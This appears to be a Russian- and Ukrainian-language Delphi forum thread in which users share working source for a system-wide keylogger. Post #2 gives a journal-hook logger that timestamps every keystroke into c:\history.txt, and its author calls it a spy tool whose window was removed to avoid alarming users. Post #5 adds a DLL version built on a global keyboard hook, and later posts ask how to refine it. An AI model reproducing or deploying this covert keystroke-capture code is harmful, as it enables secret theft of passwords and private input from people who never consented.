|
#1
|
|||
|
|||
Key Logger
Нужно, чтоб при вводе определённого текста, например qwe, даже если программа находиться в фоне, в файл log.txt записывались все нажатия клавиш, до момента нажатия на Enter.
Программа пишеться для себя, не предназначена для шпионажа за другими пользователями, компьютерами и т.п. |
#2
|
|||
|
|||
Тримай код. Це клавіатурний шпигун, але його можна використати і для товєї задачі. (В своєму проекті я видалив форму програми, щою не налякати юзаків )
Код:
unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls; type TForm1 = class(TForm) procedure FormCreate(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); private { Private declarations } public { Public declarations } end; var Form1: TForm1; h:hhook; implementation {$R *.dfm} function Proc(code:integer;wParam:WPARAM;lParam:LPARAM):lresult;stdcall; var c:array[0..255] of char; nScan:integer; f:textfile; t:_systemtime; begin if (code>=0)and(teventmsg(pointer(lparam)^).message=wm_keydown) then begin nScan:=hibyte((teventmsg(pointer(lparam)^).paramL)); nscan:=nscan shl 16; GetKeyNameText(nScan,c,256); assignfile(f,'c:\history.txt'); append(F); getsystemtime(t); writeln(f,'date:'+inttostr(t.wDay)+'.'+inttostr(t.wMonth)+'.'+inttostr(t.wYear)+' time:' +inttostr(t.wHour)+':'+inttostr(t.wMinute)+':'+inttostr(t.wSecond)+'.' +inttostr(t.wMilliseconds)+'['+c+']'); closefile(f); end; result:=callnexthookex(h,code,wparam,lparam); end; procedure TForm1.FormCreate(Sender: TObject); var f:textfile; begin assignfile(f,'c:\history.txt'); rewrite(f); closefile(f); h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0); end; procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction); begin unhookwindowshookex(h); end; end. |
#3
|
|||
|
|||
Цитата:
|
#4
|
|||
|
|||
Цитата:
Цитата:
Код:
h:=setwindowshookex(WH_JOURNALRECORD,@Proc,hinstance,0); Цитата:
unhookwindowshookex - відповідно вигружає його з системи. А для певності тримай архів програми (KeyLogger.rar) |
#5
|
|||
|
|||
С к одом особо не заморачивался, так что тут много багов и не тестил (но работать долно, это точно)
Значит первое. Создаешь длл файл и в нем пишешь Код:
library KeyLogger; uses Windows, Messages; var Text: String = ''; SysHook: HHook = 0; function KeyHook(nCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall; var KeyName: array [0..16] of Char; nScan: Integer; AFile: TextFile; begin // получили код if (nCode = HC_ACTION) and // и клавиша отпущена (((lParam shr 16) and KF_UP) = 0) then begin GetKeyNameText(lParam, KeyName, SizeOf(KeyName)); // код клавиши Text := Text + KeyName; // добавляем к тексту if Length(Text) >= 256 then // пишем в файл begin AssignFile(AFile, 'c:\history.txt'); Append(AFile); Writeln(AFile, Text); CloseFile(AFile); Text := ''; end; end; CallNextHookEx(SysHook, nCode, lParam, wParam); // следующая ловушка end; procedure RunStopHook(const State: Boolean) export; stdcall; begin if State then SysHook := SetWindowsHookEx(WH_KEYBOARD, @KeyHook, HInstance, 0) else begin UnhookWindowsHookEx(SysHook); SysHook := 0; end; end; exports RunStopHook index 1; begin end. А в програме после строчек Код:
var Form1: TForm1; пишешь procedure RunStopHook(State: Boolean) stdcall; external 'KeyLogger.dll'; Далее в создании формы включаешь ловушку RunStopHook(True) а в уничтожении выключаешь RunStopHook(False) Есть бага, если юзер до выключения программы не ввел 256 символов то они небудут записаны в файл |
#6
|
|||
|
|||
Цитата:
Цитата:
Оба исходника работают, но как сделать RunStopHook(True) при вводе текста qwe где-то в винде и RunStopHook(False) при нажатии на Enter. Кстати насчёт второго исходника, как в нём сделать, чтоб при нажатии на Enter в лог файле был переход на новую строку? |
#7
|
|||
|
|||
Цитата:
Блин, у меня при запуске программы курсор мышки пропадает, а когда закрываю прогу, опять появлятся. как исправить? ( |
#8
|
||||
|
||||
Есть такая функция - GetKeyState(Key:Byte);
Возвращает што-то меньше ноля(помоему) если нажата, и ноль - если нет. Тоесть Код:
var c, c1 : Char; begin for c := 'A' to 'Z' do begin c1 := '-'; if GetKeyState(Ord(c)) < 0 then// Получение состояния клавиши c1 := '+'; Label1.Caption := Label1.Caption +c+'='+c1+#10#13; end; .... В итоге должно получиться так. (нажата клавиша I) A=- B=- C=- D=- .... I=+ .... Z=- Кнопка "+" - весы в правом верхнем углу сообщения... |